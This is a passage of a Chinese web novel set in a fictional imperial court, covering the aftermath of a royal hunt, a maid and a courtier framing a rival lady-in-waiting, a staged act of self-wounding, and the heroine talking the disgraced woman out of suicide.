他了解他的琛儿,所以他知道,若“猎手”是云琛,倪鲲一定死不了。
瞧云琛翘着二郎腿,躺在榻上看连环画,跟个没事人一样的样子,肩膀上却包着渗血的草药布巾,霍乾念心疼得紧,更生出后悔。
他忍不住问:
“琛儿,我说过,有我在,你有可以拒绝任何人的底气。殿下命你杀倪鲲时,你一定想起这句话,明白我的意思了,对吗?”
她全然不在意地翘着脚丫,“对呀。”
“那你为什么不拒绝殿下?”
“君命不可违呀。”
所以为了同时保全南璃君的颜面和倪鲲的性命,她选择用伤害自己的方式。
霍乾念拧眉,脑海中再次浮现出南璃君发脾气摔血燕的样子。
此非我等之主。
这话再次从他心底冒出来,却又再次被他轻轻摁下。
南璃君,你最好值得忠良。
霍乾念正陷入思虑时,宫人通报云望来了。
在十几拨人探望过云琛之后,云望终于姗姗来迟。
手里还提着一盒不贵不贱的探病礼,满脸都写着客套得体和“避嫌”二字。
当云望走进帐篷,正见云琛完美地以一个男人的形象大大咧咧躺在榻上。
云望满意地点点头,再看霍乾念时,却从那上面看见一脸前所未有的阴鸷,看得云望莫名心惊肉跳。
“霍将军。”云望出声。
霍乾念很快面色恢复如常。
一见云望来看自己,云琛高兴地从榻上翻身爬起,动作幅度有点大,扯得她肩膀一痛,吸了口凉气。
云望赶紧过去扶住云琛,“动作慢些,慢慢起身,不要急。”
云琛满不在乎地“嘿嘿”笑着,着急地去翻云望带来的礼盒。
“我瞅瞅,给我带啥好东西了,是不是好吃的?”
打开礼盒,里面静静躺着一只木头簪子,看起来年代久远,古朴厚重,是男子戴的款式。
云琛将发箍取下,用簪子绕束头发。
那簪子不比发箍束发简单,云琛手腕使劲,将簪尖在头发上撇来绕去,有种要撇断的架势,看得旁边的霍乾念心都揪了一下。
束好头发,云琛晃晃脑袋,隐约能闻到一股木质的香气,笑道:
“不错!”
霍乾念失笑:“岂止‘不错’,这扶南小叶紫檀的簪子,要比等身的黄金贵十倍不止。”
“真的假的?这么贵?”云琛惊讶,将簪子又取下来细打量。
簪子是普通的直款,木色紫红如漆,光如绸缎,纹理细丝如微羽。
簪头雕刻着青云如意翘头纹,通体散发出淡淡木香味。
确实是乍看很普通,细看却不便宜的东西。
但要说比同样重量的黄金还贵十倍,云琛就不识货了,还是霍乾念见多识广,一眼就认出材质和产地。
云望道:“这是我多年前在东山稷门求学时,参加会试时得的‘青云直意簪’。”
这下连霍乾念都惊讶抬眉。
云望两句话说得很轻巧,但当“稷门”和“会试”这两个词,和“青云直意簪”放在一起,其价值已远超十金、千金——
应为无价之宝。
这是因为楠国东方有一东山洲,洲内有一城,名为稷门。
东山稷门云集无数文人大儒,包罗数万珍贵古书。
据说,就连城池地砖上都刻着古往圣贤名言。
附近田地里长的都不是庄稼,是经书,天上下的都是墨雨。
那是天下学子都向往的求学之地。
稷门每三年会设一场会试,以答卷、论辩等方式考问学子。
每次会试都吸引天下学子跃跃欲试,足有十万人参加。
榜首胜出者,便是十万里挑一、当之无愧的稷门状元,才能得那青云直意簪。
要何等才华横溢,既要有满腹经纶的墨水,又要有舌战群儒的口才,才能于万千学子中脱颖而出,拔得头筹。
霍乾念一向知道云望有才能,却不想他竟是拿过楠国第一名的真学君。
那象征着他状元郎“辉煌”的青云直意簪,他却这么轻易就给了云琛,没有一丝不舍。
霍乾念心生疑惑,但稍稍一思索,便猜到只能是与今日差点被杀的倪鲲有关,那么……
果然,只见云望认真看着云琛,突然撩起衣袍,双膝跪地,无比郑重地叩头行礼:
“琛姐姐,谢谢你。”
霍乾念心下了然,云望一定与倪鲲有不浅的情分。二人同样博古通今,文采斐然,很可能还是师生呢。
云琛完全跳脱在霍乾念思绪的“三界之外”,诧异地扶起云望,道:
“我不过是猎到狼的第一时间,拔了颗狼臼齿叫人带给你,想给莲城戴着辟邪。一颗狼齿而已,云望你不至于行这么大的礼,真不至于!”
三人正说话间,突然听到帐篷外一阵嘈杂,隐约可见宫人们跑来跑去,像是发生了什么大事。
一个宫人急急跑来通传:
“殿下有令!秋狝结束!即刻回程!”
第279章 开解
东宫的第一次秋狝,像极了一只骄傲挺着胸脯走出来,又狼狈逃回窝的母鸡。
数万人浩浩荡荡的队伍,一路彩旗飘飘威武雄壮地到了槿花围场。
刚刚三天,围猎仪式刚过,首场围猎刚进行了一日,许多人包裹都还没彻底拆开呢,就突然收到“即刻回程”的东宫急令。
搞得所有人都十分诧异,手忙脚乱地踏上回程。
秋狝不狝了,围场不围了。
心心念念的倪鲲也不杀了。
劳民伤财的围场营地还没住热乎,十二支猎队一共就打了几百只野鸡野兔,还有一只灰狼,队伍便匆匆拔营离去。
一切都显得那么可笑而荒唐。
只有围场的动物们逃过一场屠杀,感到狂欢庆贺。
没人知道是为什么。
有人说,是南璃君突染急病,身体不适,急需回宫休养。
有人说,是云琛猎来的那只大灰狼突然诈尸,吓得南璃君大哭惊厥,不想再打猎了。
各种各样荒诞的理由悄悄在人群中流传。
只有知罗知道一切。
因为她亲眼看着南璃君为云琛受伤没能杀倪鲲而感到沮丧,烦闷地在帐篷外散步。
她向南璃君提议,不如安排禁军统领苏正阳去试试,崧蓝是东宫的大女官,苏家一向听命于东宫,如果让崧蓝去劝说,苏正阳应该会答应。
南璃君点头同意,并说:“知罗,你很好,你总能想到合适的人,先是云琛,后是苏正阳,都是可用的人。”
知罗笑道:“能替殿下分忧,是知罗的福气。云将军可惜了,没能立下这大功,但看在他一心想猎头彩为殿下进献的份上,请殿下消消气。”
南璃君摆摆手,“无妨,他不过急功近利,忘了主次而已。日后慢慢教导吧。若总是这样不成事,我再不容他。”
“殿下英明。”知罗笑盈盈夸赞,心里却很遗憾。
这是她想方设法向南璃君提议,才为云琛争取到的一次立大功的机会,若能杀了倪鲲,云琛必青云直上。
可惜云琛就这样错过了。
不过没关系,知罗想,只要有她在,她可以再为云琛创造几十次、几百次这样的好机会。
想到这里,知罗望了眼时辰,已到与颜十九说定的时间,她便对南璃君提议道:
“殿下,要不召崧蓝姐姐来谈谈,请崧蓝姐姐去说服苏统领?只是崧蓝姐姐昨日落水受惊,只怕没有好,下不了榻。”
南璃君很大度地表示无妨,她正好亲自去见崧蓝,以示对下关怀,苏家受宠若惊,定然更容易答应杀倪鲲的事。
知罗道:“殿下实在聪慧,臣等望尘莫及。”
于是,当南璃君大张旗鼓地带着几十个宫人、一大堆慰问礼物来到崧蓝帐子时,却见帐内空空如也,一问才知崧蓝竟是去颜十九的帐子了。
一个宫人说:“崧蓝姐姐如今与颜大人亲厚,常去的。为着昨日落水的事,崧蓝姐姐心里委屈呢,估计这会颜大人正开解崧蓝姐姐呢。”
听了这话,南璃君脸色瞬变,只叫知罗一人跟着,急匆匆走向颜十九的帐子。
为了避嫌,同时方便与南璃君相会,颜十九的帐子被安排在整个营地的最偏僻处。
南璃君与知罗走到帐外时,只见帐帘紧闭,四周空无值守,只有颜十九的护卫万宸守在门外。
一见南璃君来,万宸神色十分紧张地行礼,眼睛频频瞄向紧闭的帐帘。
看到万宸如此,再听到帐内隐隐约约传出的不可描述的声音,南璃君瞪大了眼睛,面色变得煞白。
知罗装作茫然不知的样子,像平时一样去掀起帐帘——
她轻轻掀开,用力高高抬起,叫帐内的景象一览无遗,乍现在南璃君眼前。
颜十九真的在开解菘蓝。
而且是字面意义上的“开解”。
雪白大开,墨发已解,媚声如浪。
南璃君整个人震在原地,脸色瞬间惨白如纸。
有那么一瞬,知罗觉得有些不忍,这样算计南璃君,她心里颇感愧疚。
可只要想到一切都是为了拉下菘蓝,为了做南璃君身边独一无二的大女官,好能与云琛成婚,知罗心里那点愧疚又顿时消失得无影无踪。
“天呐!”知罗对着帐内失声惊叫,赶紧将帘子放下,回身去扶已经摇摇欲坠的南璃君,悲声劝道:
“殿下别进去!殿下别看!不能看!”
令知罗意外的是,南璃君并没有像个寻常泼妇一样冲进去“捉奸”,只是脚步踉跄地逃回御帐,被地上新鲜送来的狼皮绊了一跤。
南璃君摔倒在地上,正与那呲着獠牙瞪着眼睛的狼头对视上。
如同发疯一般,南璃君从一个侍卫身上拽下剑,疯狂地去砍那狼头。
狼头因为浸过防腐药水的缘故,质地已变得柔韧。
再加上南璃君没有武功,力气也小,砍了十几剑下去,狼头毫发无损,她却被剑柄震得虎口破裂,满手是血。
最终,南璃君脱力地扔下剑,跌坐在地上崩溃大哭。
知罗上去抱住南璃君,同样哭得悲伤:
“公主别这样!好公主!我的好公主!不哭不哭!”
南璃君靠在知罗的肩头,哭得泣不成声,宛若溺水之人抱着仅剩的一块浮萍。
因此,发生了这样的事,南璃君根本没有心情再继续秋狝,也没有装作无事、去对百官和亲贵强颜欢笑的力气。
第280章 一出大戏
秋狝队伍匆匆回程。
回宫之后,南璃君第一道命令,便是借口菘蓝与苏正阳对武将功臣云琛不敬,将菘蓝革职,发还苏家。
任菘蓝如何哭喊冤枉,南璃君丝毫不为所动。
菘蓝根本解释不清,她只是按礼数接待了莫名其妙突然来访的颜十九,然后喝了他递来的一杯茶而已,后面发生的一切,她根本由不得自己。
她知道自己被颜十九和知罗联手算计了,可她无处申冤。
因为那不堪入目的一幕,不止打倒了南璃君,更永远击碎了她的尊严。
紧接着,南璃君亲自执笔,写下第二道东宫令,要将颜十九永远逐出京城,永世不得入宫。
知罗静静地站在东宫殿里,看着南璃君哭着写了一封又一封,撕了一封又一封。
她真的很佩服颜十九,敢以身犯险,将事情做到这个地步。
同时她更好奇,颜十九又将如何挽回南璃君的心。
在南璃君最终还是写完那封笔锋颤抖的东宫令时,颜十九来了。
他脚步沉重地走进东宫殿,墨发凌乱,唇间毫无血色。
只短短几日的功夫,他整个人都瘦了一圈,俊朗的面颊无瑕如玉,颀长的身子裹在有些空荡的袍子里,显出一种病态又俊美的苍白。
就连知罗乍然见了他这模样,都忍不住心头一软,生出些同情。
颜十九喃喃说着对不起,上前抱住南璃君,却被狠狠挣脱开。
南璃君一巴掌打在他的脸上,他不闪不躲,任由她哭着质问他,骂他,捶打他,他一概照单全收。
直到南璃君发泄够了,他才脆弱地红着眼眶,哽咽地解释他什么都不知道,只记得喝了一口菘蓝递过来的茶,就什么都控制不住了。
他再次去抱南璃君,依旧被推开。
每一次被推开,他的神情都比前一次更加痛苦无助。
他一遍遍哀求着南璃君的原谅,用那双好看的眸子可怜巴巴地看着南璃君,对天发誓他是真的爱她,求她别将他赶走,只要能留在宫里,哪怕只是做个太监远远看着她,伺候她,他都甘之如饴。
知罗在阴暗的角落里悄悄站着,看着一切。
她觉得颜十九实在有些托大了,这样就能叫南璃君信他原谅他?
可紧接着,知罗便看见颜十九拿起桌上的裁纸刀,刀锋一闪,毫不犹豫地扎向胯下。
随着刀子“咣啷”一声坠地,颜十九的衣袍上缓缓渗出鲜血。
接着他身子晃了晃,一头栽倒在地上。
南璃君吓得连连后退,失声尖叫。
知罗立刻站出来,拦住所有闻声而来的宫人,只说是南璃君划伤了手,宣个太医来就行。
太医独自进殿,为颜十九验伤,掀开他衣裤时也吓了一跳,惊问:
“什么玩意儿?什么情况?这是要自宫吗?!”
南璃君目瞪口呆地震在原地。
直到太医大呼还有救,南璃君才慌乱地呼喊知罗帮忙。
知罗一边叫侍卫们看牢东宫殿,不许任何人靠近,一边帮忙端水拿布。
一盆盆血水从寝殿里端出来,看得南璃君心惊肉跳。
当颜十九疼得汗如雨下,嘴唇几乎没有血色时,他流着泪对南璃君说:
“阿璃……求你……不要怀疑我……我做太监就好了……那么……谁都……不能算计我们了……”
那一瞬间,南璃君什么都忘了,只抱着颜十九失声痛哭,说一切都是她的错,她不该生疑。
幸而太医说,那裁纸刀偏了半寸,并未伤及要害。
否则只差一点点,颜十九这辈子就真的只能当太监了。
听太医说完,南璃君颤抖着长呼一口气,更加用力地抱住颜十九,一脸泪水与愧疚地说:
“都是我不好……”
只这一句,知罗便知道颜十九成功了。
一个敢将自己放在棋盘上做棋子的棋手,想不赢都不可能。
回顾颜十九的“精彩表演”,张弛有度,全情投入,那深情款款的样子,好几次让知罗都差点信了。
最后再加上一出惊心动魄的“自宫”大戏,那字字泣血的表白。
这天下有几个女人能保持理智,逃过这手段?
要不了多久,颜十九就会重新与南璃君于床笫耳鬓厮磨。
经历此番“被算计”又和好,二人之间反而更加紧密,情谊将更甚从前。
知罗将这连环招记在心里,她觉得早晚有一天,她也能用得上这建立在人性弱点之上的驾驭之术。
对于颜十九,知罗既佩服,又生疑。
她知罗是为了云琛,颜十九又是为了什么,才能做到如此地步呢?
她心里生出些细微而不好的联想。
待南璃君去更衣,东宫殿内只有颜十九的时候,她终于忍不住问出了这个问题。
颜十九虽因伤痛而面色苍白,但却一脸莫测笑容,星眸带着称心如意的光彩,与方才完全判若两人。
他撑头看着知罗,因为疗伤的缘故,他只穿了一层单衣,抬手的时候,衣服从肩膀张开,露出精壮结实的胸膛。
知罗脸微红,立刻回避眼神。
颜十九饶有兴趣地看着知罗,“你只要云琛,不是吗?其他的最好别听、别问,这样才能与云琛长长久久。而我,我要在这楠国皇宫里长长久久,明白了吗——知罗大女官。”
知罗很惊讶,没想到颜十九的目标竟是要在楠国弄权?
也对,否则他不会愿意从南璃君的男宠做起。
想到这里,知罗心里踏实下来。
从今天开始,再也没有菘蓝,只有她知罗大女官,南璃君身边唯一的大女官。
她将与颜十九一左一右,紧贴着南璃君的耳朵,将最温柔有力的风送进南璃君的脑海。
等待云琛再立战功,等到知罗坐稳大女官之位,就是赐婚最好的机会。
只要能走到云琛身边,她什么都愿意。
第281章 苏家的鸿门宴
秋狝结束,回到京城里的第二天,苏正阳就来到了少将府。
他走到府前时,只见高阔大气的府门口,站着两个无聊得快要发芽的院卫。
他递上名帖,“在下苏正阳,烦通传一声,我想见云将军。”
院卫说:“将军回京后就没回来过。”
苏正阳问:“那她去哪里了?”
“不知道。”
“什么时候回来?”
“不知道。”
“现在何处?”
“不知道。”
“……”
一问三不知,苏正阳有点无语,两个院卫却问起他来:
“大人,您见过我们将军?我们将军长啥样啊?”
“……”苏正阳彻底哑口无言。
感情云琛是真不回家啊,扔着偌大个少将府不回,成天在外面过夜?
听着怎么跟个不着家的风流小将军似的?
他好笑地摇头,目光瞥见雪白平整的院墙上有一个浅浅的灰脚印。
他走过去仔细瞧了瞧,像是武将马靴的花纹底子。
再伸手量一下,刚刚一拃,这么小的脚,只能是女人的。
这家伙回自己府还要翻墙吗?
像是无意间捕捉到云琛暴露身份的“小马脚”,苏正阳觉得挺有趣,忽又想起此行目的,便赶紧往霍府走。
他猜云琛应该在霍府。
果然,到了霍府,他刚报上姓名,一个霍帮护卫便抱起胳膊,十分戒备地看着他,语气不善地问:
“你就是几次三番找阿琛麻烦的苏正阳?”
苏正阳无奈苦笑,只能称是。
话音落下,周围哗啦啦又冲过来几个霍帮护卫,全都一副准备动手的架势,显然以为苏正阳又是来找茬的。
瞧这几个霍帮护卫不过近卫级别,与云琛如今的身份早已天壤之别,可嘴里还是亲昵地喊着“阿琛”,个个都十分护犊子的样子,便可以猜想云琛平时的为人。
再回过头看看他与菘蓝的作为,他自己都觉得汗颜。
他正经面容,十分诚恳道:
“我是来向云将军道歉的,也有事请她相助,请诸位通传一声。”
瞧苏正阳一身矜贵公子哥的气质,倒不像是无赖找麻烦的样子,几个霍帮护卫对视一眼,向内通传。
片刻过后,在羊肉宴见过的那个护卫统领叶峮出来了。
他满头满身都是残留的面粉痕迹,显然拍打过,但还没来得及换衣服,脸也是刚刚才擦干净的。
问清苏正阳的来意,叶峮带着他往栖云居走。
老远,苏正阳听见云琛在哈哈大笑。
那笑声开怀爽朗,似能直达人心,听得苏正阳都忍不住弯了弯唇。
一路转过霍府价值连城却低调内敛的屋宇,隔着栖云居体面威严的院门,苏正阳瞧见院子里乱七八糟,一片狼藉。
一个装着黑灰的麻袋摊在地上,旁边置着两条长桌,上面摆着几个擀面杖、竹篦子、一袋掺了黑灰的面粉,还有横七竖八几十个乌漆麻黑的饺子。
云琛骑在花绝的背上,挥舞着一根擀面杖,嘴里高兴地喊着“驾驾驾!”
花绝脸上全是黑灰和面粉,气得摇头摆尾,却怎么都甩不掉云琛,只能反手抱住她的头,一把过肩拉下,将她轰地摔进面粉里。
面粉砰地爆开,漫天灰茫茫地飘散。
不言被呛得连连咳嗽,使劲挥手扇动空气,用勉强干净的袖子擦擦脸上的灰,笑骂:
“阿琛你胳膊不疼了是吧?别闹了!还用啥蛇啊象啊骨灰拌面粉包饺子?直接一人啃一口得了!还‘君子服之可以延年千万岁’!照这样玩下去,万岁也吃不上饺子!白瞎了少主和我们一起分享骨灰的心意!”
分享骨灰?
还用骨灰包饺子??
苏正阳以前听说过霍帮的悍匪作风,却没想到玩得这么凶吗?
没人理会惊愣的苏正阳。
只有白茫茫的面粉空气中闪过两个黑影,猛地左右钳住不言,将不言的头往面粉里摁去。
不言被摁趴在面粉里,抬起雪白的脸,嘴里喷着面粉骂道:
“我今天就包两种馅的饺子!‘花绝馅’的和‘云琛馅’的!”
“哇!暗卫大人发威了!快跑啊!!”云琛大笑跑开,正与苏正阳撞上。
得亏叶峮眼疾手快,拉了云琛一把,要不然她能直接撞进苏正阳怀里。
看着这个突兀出现的大活人,云琛愣了一下。
“咋?追到我家来打架?你想好,我家人多,你打不过。”
苏正阳如今已知道云琛是女子,瞧着她和几个护卫大男人勾肩搭背玩疯的样子,他觉得十分不成体统,忍不住轻皱眉:
“你的伤好了吗?这样玩闹,不怕伤口化脓吗?”
云琛斜眼看着苏正阳,“最怕敌人突如其来的关心——说,想干嘛?”
苏正阳失笑,“我想请你到苏府用宴。府中备了酒宴,请云将军赏脸。”
听到这话,花绝一边拍打身上的面粉和黑灰,一边走过来上下打量苏正阳:
“你们苏家都快恨死阿琛了,怎么现在突然要请客?请‘羊’去‘狼窝’里用宴?吃什么?”
苏正阳纠结地吐出两个字:
“羊肉……”
场面陷入一阵尴尬。
叶峮给云琛使眼色:
“少主这会应该刚到段捷将军家。今日是段将军家二公子的周岁宴,估计会吃酒到很晚。要不等少主回来再说?”
这意思是让云琛别去赴那鸿门宴,拿霍乾念当挡箭牌推辞。
云琛全然无视叶峮的眼神示意,本着冤家宜解不宜结的原则,决定去苏家走上一遭。
第282章 一报还一报
云琛拒绝了叶峮、花绝和不言想要护卫她同去苏家的提议,独自与苏正阳坐上马车。
苏正阳很意外云琛会那么轻易答应赴宴,原以为有那么多过节在,云琛应该会拒绝。
但现在看来,云琛一脸轻松,全无戒备,好似从来没有将与苏家任何一个人的事放在心上。
女扮男装做大名鼎鼎的玄都护卫,做威风赫赫的玄威少将。
勇敢,大度,聪明,无畏。
苏正阳看着眼前这个不成体统却奇异无双的女子,心里不觉生出好奇。
他再次细细打量云琛,她已将一身黑灰和面粉的衣服换下,头发也重新梳过,但耳后还沾着一点雪白的面粉。
他忍住想帮她拂去的冲动,问:
“你这么轻易答应赴宴,不怕我趁机报复你吗?”
“你没那胆子。”云琛说完,见苏正阳脸色发僵,又赶紧解释:
“我意思是,你和你妹不一样,你是光明正大的人,我瞧得出来。”
说到菘蓝,苏正阳脸色晦暗两分。
“其实,宴请你,一为从前误会你致歉,二则菘蓝因冒犯你,被东宫斥责免职,如今不吃不喝,也不见人,我希望你能去开导她些许。”
听完这话,云琛呆愣了一下,立即叫停马车。
马车不停,她直接就要从窗子跳车。
苏正阳赶紧去拦她,手在空中犹豫来去,却不知该抓她哪里,只得用身子堵住车窗,好笑地问:
“你干什么?府上羊肉锅子已经煮好了,你不是很喜欢吃羊肉吗,不去吃了?”
云琛哪知道苏正阳已知晓她女子身份,使劲扒拉他身子,闹得苏正阳脸都红了。
她试图从苏正阳胳膊底下钻过去,一条腿已经跨出车窗。
“你脑子指定有点问题!菘蓝被免职肯定不是因为冒犯我!我就是背锅而已!但菘蓝一向恨我,你让我去劝她?咋的,把我送上门给你妹杀?让她泄愤?让开让开,我要回家!”
云琛力气大,再加上苏正阳不敢碰她,差点被她从窗户逃出去。
万般无奈,苏正阳只得道:
“人通常只听两种人的劝,一种是‘挚爱’,一种是‘至恨’。”
云琛懂了,她就是那个“至恨”。
菘蓝恨她,反而特别将她的话放在心上。
如今苏家谁都劝不了菘蓝,唯有云琛这个“至恨”可以一试。
还真别说,苏正阳这歪招倒有几分道理。
云琛放弃跳车的想法,只能祈祷一会儿见了菘蓝可别打起来,她实在不擅长和女人扯头发打架。
她怕下手没分寸,给菘蓝扯秃又扯哭。
说话间,马车抵达苏府,云琛也没心情吃羊肉,提议直接去见见菘蓝。
菘蓝的院子在内宅,苏正阳平时都很少去,更不要说一身男装的云琛。
为了尽可能避嫌,少传些对菘蓝如今的名声不利、再雪上加霜的绯闻出去,苏正阳吩咐所有家仆回避,亲自带着云琛往菘蓝院子而去。
踏进院子,云琛瞧见寝屋大门紧闭,屋门口散落着没来得及收拾的饭菜和碎瓷片,显然是菘蓝闹绝食打翻的。
被云琛瞧见这一幕,苏正阳有些不好意思,“府中家仆都惧怕菘蓝,大约是不敢上前收拾,叫你见笑了。”
云琛深深看着苏正阳,“没事,我也挺怕你妹的,一肚子坏水,天天找我麻烦,理解的。”
苏正阳尴尬地咧咧嘴,不知道怎么接这话,赶紧上前去叩门。
“菘蓝,开开门,云琛来了。”苏正阳说。
见寝屋门不开,里面也没有动静,云琛决定来点猛的,先把门叫开再说,清清嗓子道:
“菘蓝大人,啊不好意思,我忘记你被免职了——苏小姐,我是专程来看你笑话啊呸,那个,来和你说说话的。”
云琛已经脚下撤步戒备,做好菘蓝要冲出来挠她的准备。
然而屋里依然没有动静。
云琛和苏正阳同时侧耳贴门去听声音,恰好面对面,离得很近,苏正阳赶紧起身避开,只叫云琛一个人去听。
“好像……有点声音,像小狗哼哼?”云琛判断不出是什么声音,却听到一个非常短促挣扎的呼吸声掺杂其中,她登时脸色一变,一脚踹向屋门。
咚的一声,屋门大开。
屋内空空荡荡,没有人影,只有几个凳子倒在地上。
苏正阳正奇怪道:“院卫说,菘蓝从被免职之后就一直没有出来,人呢?”云琛已抬头望向高高的房梁——
还有用脖子在上面荡秋千、正垂死挣扎,发出类似小狗哼唧声的菘蓝。
她拿胳膊肘捣捣苏正阳,用下巴指了指:
“你妹在那呢!”
顺着云琛示意的方向望去,苏正阳惊呼一声,飞身跳上房梁,将已经开始翻白眼的菘蓝救下来。
菘蓝深吸两口气,开始剧烈咳嗽。
苏正阳扶着她,心疼又惊异:
“不过是个女官职位!免就免?!何至于如此想不开?你还有我和爹爹,何愁将来?!”
“咳咳咳……别………别……”菘蓝嗓音嘶哑,咳嗽不停,说不出完整的话。
云琛提着一杯茶走过来,一边将茶递给菘蓝,一边“嘴替”开口:
“她想说‘别管我,让我死’。对吧?”
菘蓝瞪着云琛,一把打开茶水,挣扎着推开苏正阳,又去摞凳子,抓住白绫往脖子上套。
“菘蓝你?!”苏正阳将菘蓝从凳子上拽下来,菘蓝就再次爬上去。
反反复复,苏正阳气得差点动手。
云琛站在一旁颇为尴尬,走也不是,不走也不是。
环顾菘蓝的闺房,陈设简单,甚至有些空荡冷清,与她平日华丽精致的做派大相径庭。
云琛想,大概是菘蓝自小就陪在南璃君身边,日夜侍奉相伴,很少回自己家住吧。
那样深厚的感情和付出,一夕瓦解,换谁也难免失落。
但以菘蓝刚强的性子,却不至为此寻短见。
大约有什么见不得光的事,不能公诸于众,而只能以“菘蓝冒犯武将功臣云琛”为借口吧。
云琛猜不透背后的故事,想不到是什么让南璃君与菘蓝,从两小无猜变成翻脸无情。
但她注意到寝屋侧门的地上湿漉漉的,伸头瞧了瞧,应该是通往浴房的门。
从门口可以略略窥见一地横七竖八的浴盆、毛巾、衣裳,像是菘蓝这些日子什么也没干,光忙着在里面白天黑夜地洗澡了。
再看菘蓝,短短几日而已,她整个人都瘦得脸颊凹陷,两眼发青。从她胡乱穿着的衣服可以看到,她的手腕、手指,甚至脖颈,到处都是烫红脱皮的痕迹。
云琛从前只在一个人身上见过这种痕迹,亲眼见过这一模一样的崩溃情景——
霍阾玉。
云琛隐隐猜到两分,她叫苏正阳放开菘蓝。
没有再被束缚,菘蓝看都不看苏正阳和云琛一眼,再次爬上高高的凳子,晃晃悠悠地抓住白绫。
苏正阳焦急地看着云琛,云琛则仰头望着脸上全是泪痕的菘蓝,轻声道:
“我若是你,死也要拉着他垫背才肯。”
菘蓝身子一颤,几乎要抓不稳白绫,她努力抑制住哽咽,似是不想在云琛面前露怯,冷冷道:
“你懂什么?!”
云琛道:“我是不懂,也不知道‘他’是谁,你的故事我不感兴趣,你也不必说给我或者任何人听。只是世上之事无非一报还一报。你就这样死,岂不太便宜‘他’?”
菘蓝一愣,泪水夺眶而出,滚滚落下。
她知道自己被算计了,却再也没有机会站在南璃君面前辩白。
当南璃君用最嫉妒又厌恶的眼神瞪着她,叫她滚出东宫时,她便知真相已不重要,她永远失去南璃君的信任了。
她以最不堪入目的方式退出东宫,只在京都流言中永存。
南璃君顾着自己的颜面,知罗顾着自己的前途,颜十九忌惮与南璃君离心。
没有人会再提秋狝帐中的“香艳”事。
菘蓝也只能将破碎的清白悄悄收起来,如一口黄连哽在喉咙,硬生生将刀子一样的冤枉和委屈咽下去。
“菘蓝,你没那么弱吧。”云琛这样说。
菘蓝放声大哭,终于松开白绫,缓缓倒进苏正阳的怀抱。
第283章 神力
云琛回到霍府时,已近入夜的时辰。
栖云居的院子已经收拾干净,又恢复整洁如新。
云琛可以想象到润禾打扫满院子黑灰时,那骂骂咧咧的好笑样子。
观虚道士说,这在蛇腹中沁如玉的象骨焚烧成灰后,男子吃了可以延年益寿,这一大麻袋,霍乾念一个人显然吃不完,便叫叶峮几人一同分食。
谁知这骨灰遇水腥臭无比,根本无法下咽,只得和面包饺子才能吃下。
饶是这样,煮饺子时还是臭不可闻,煮完以后锅还是臭的,润禾只得将锅扔掉。
叶峮几人则是呲牙咧嘴地才将骨灰饺子吃下。
现在还剩小半麻袋骨灰,霍乾念取了一杯放着,坐在院子里,出神地望着杯子。
云琛叫了声“阿念”,霍乾念抬眼望来,目光又是深沉忧虑,还带着一点醉意朦胧。
自回京以后,霍乾念的眉头几乎没有好好舒展过。
他脸上是日复一日的愁云,似乎有什么看不见的重量压在上头,叫他连抬头看看云琛的空都没有。
云琛走到他身边坐下,同往常一样,找了个舒服的姿势趴在他腿上。
她吸吸鼻子,“你喝了好多酒呀,和段捷在一起,你总是喝得多,谈天的时间也久,你和段捷从前就认识吗?对了,听说今日徐太医也去赴宴了,我记得他很爱找你说话来着。”
霍乾念“嗯”了一声,俯身抱住她的身子,将脸整个埋在她后背,叫她看不见他的神情。
月光将他的影子照在地上,黑乎乎一团蜷缩起,竟有格外落寞的味道。
甚少见他如此,她声音放得温柔:
“怎么了,和段捷谈得不高兴吗?”
他声音闷闷地回答:
“高兴。”
她没有再问,只是安慰地轻拍他的后背,轻轻哼起他喜欢的那首曲子。
“归去来兮,田园将芜胡不归……实迷途其未远,觉今是而昨非……胡为乎遑遑欲何之?富贵非吾愿,帝乡不可期……”
一曲唱罢,他轻声道:
“唱得真好。我的琛儿唱得真好。”
他缓缓直起身子,将她一并拉起,令她靠坐在他怀中。
定定地望着那双不染尘埃的眼睛,仿佛只有从那里,他才能得到珍贵的清凉和宁静。
他目光深邃地望着她:
“琛儿,如果我作恶,你还会爱我吗?”
好幼稚的问题,不像是他能问出口的。她好奇问:“比如有多‘恶’?”
他微微眯起眼,凤眸拉得锋利又狭长,“比如……杀人放火,拆骨饮血?”
她认真道:“我们不一直在干这些吗?杀人放火就一定是恶吗?如果楠国人人都吃斋念佛,哪来将士守国门?于他国而言,我们不过一头吃素的肥羊。善恶不在刀锋上,只在心中。”
“琛儿说得好。”他还想再问一句,嘴巴动了动,终是没有问出口。
善与恶,黑与白,当一切拉扯到极限,那界限便模糊了。
他感觉胸口发闷,越来越无法呼吸,只能拼命去抱云琛,像一块挣扎着不肯沉入泥沼的枯木,略略求得一丝呼吸。
“国家三面战火,东宫却只顾独揽大权杀倪鲲,为此叫三方停战搁置,给了敌军喘息之机。这意味着过去的一年多全白打了,那么多将士和老百姓,全都白死了……我们从血海尸山里爬出来,千里迢迢奔回来,只为了一点可笑的私欲……
他苦笑着继续道:“中秋宴真奢华,美酒佳肴,样样昂贵至极,许多都是我这个楠国首富没见过的……也是前线将士们一生没有见过,拿着那点可怜的军饷,到死也买不起的……可就是这么点军饷,东宫还要打着倪鲲的旗号推三阻四,削减克扣,逼我只能以霍帮钱财补足……”
他抬起头,那向来气定神闲的眸子里,第一次带着悲伤和祈求。
这是他唯独在云琛面前可以露出的真实和脆弱。他道:
“琛儿,我将一切都明明白白告诉殿下了,我将穷尽探子查证、日夜推测出来的局面,全都毫无保留给她看了。洛疆、原大楚残寇、黑鳞骑兵……
这背后的一切,我都一字一句说给她了,可她不信啊!她只要裹了糖霜的毒药,只要情情爱爱,不要这天下黎民啊……琛儿,琛儿……我能怎么办……”
云琛是个脑子里没算计的,所有关于阴谋诡计的一切,什么国战阴谋,什么幕后主使,黑鳞骑兵,包括那个颜十九,霍乾念从不对她藏着掖着,却也很少主动说给她听。
像是小心翼翼呵护着一块纯白,他从不叫她听那些脏污。
现在,她终于知道他的忧愁,明白那日复一日的沮丧和痛苦是什么了。
尤其在面对只关心权力,不关心战事的南璃君时,看着皇宫花钱如流水的铺张奢靡,一切忠心都显得那么讽刺可笑。
“有时候我忍不住想……”他声音哽咽发颤,只有用停顿才能止住将要喷薄的情绪,悲哀道:
“她哪怕装装样子呢?在我们面前装作圣明怜悯的样子也好吧……可她连装都懒得装……”
只要看着皇宫内歌舞升平,他便不由自主想到战区浮尸千里的情景。
只要看着东宫奢靡,他便控制不住想起那两个衣衫褴褛,饿得走路都摇摇摆摆的祖孙。
只是看着南璃君满头金玉珠钗地坐在那里,他便仿佛能听见战区无数百姓哀怨痛哭的声音。
此非我等之主。
